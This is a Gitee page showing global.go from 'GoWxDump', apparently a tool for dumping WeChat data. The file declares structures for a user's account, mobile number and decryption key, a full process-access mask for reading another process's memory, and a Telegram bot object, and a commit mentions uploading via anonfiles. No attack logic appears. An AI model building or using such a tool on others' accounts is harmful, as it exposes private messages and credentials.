2 Star 1 Fork 0

anydev/GoWxDump

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
global.go 1.21 KB
一键复制 编辑 原始数据 按行查看 历史
SpenserCai 提交于 2023-02-25 13:12 . support use anonfiles update file
/*
* @Author: SpenserCai
* @Date: 2023-02-20 18:15:51
* @version:
* @LastEditors: SpenserCai
* @LastEditTime: 2023-02-24 16:49:16
* @Description: file content
*/
package main
import (
"os"
"path/filepath"
"golang.org/x/sys/windows"
tele "gopkg.in/telebot.v3"
)
// 定义微信数据结构
type WeChatData struct {
Version string
NickName string
Account string
Mobile string
Key string
WeChatProcess windows.ProcessEntry32
WeChatHandle windows.Handle
WeChatWinModel windows.ModuleEntry32
}
var PROCESS_ALL_ACCESS = uint32(
windows.PROCESS_QUERY_INFORMATION |
windows.PROCESS_VM_READ |
windows.PROCESS_VM_WRITE |
windows.PROCESS_VM_OPERATION |
windows.PROCESS_CREATE_THREAD |
windows.PROCESS_DUP_HANDLE |
windows.PROCESS_TERMINATE |
windows.PROCESS_SUSPEND_RESUME |
windows.PROCESS_SET_QUOTA |
windows.PROCESS_SET_INFORMATION |
windows.PROCESS_QUERY_LIMITED_INFORMATION)
// 初始化全局的微信信息对象
var WeChatDataObject = WeChatData{}
// 获取程序内运行的目录
var CurrentPath = func() string {
dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
if err != nil {
return ""
}
return dir
}()
// TelBot对象
var TelBot *tele.Bot
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/anydev/GoWxDump.git
git@gitee.com:anydev/GoWxDump.git
anydev
GoWxDump
GoWxDump
master

搜索帮助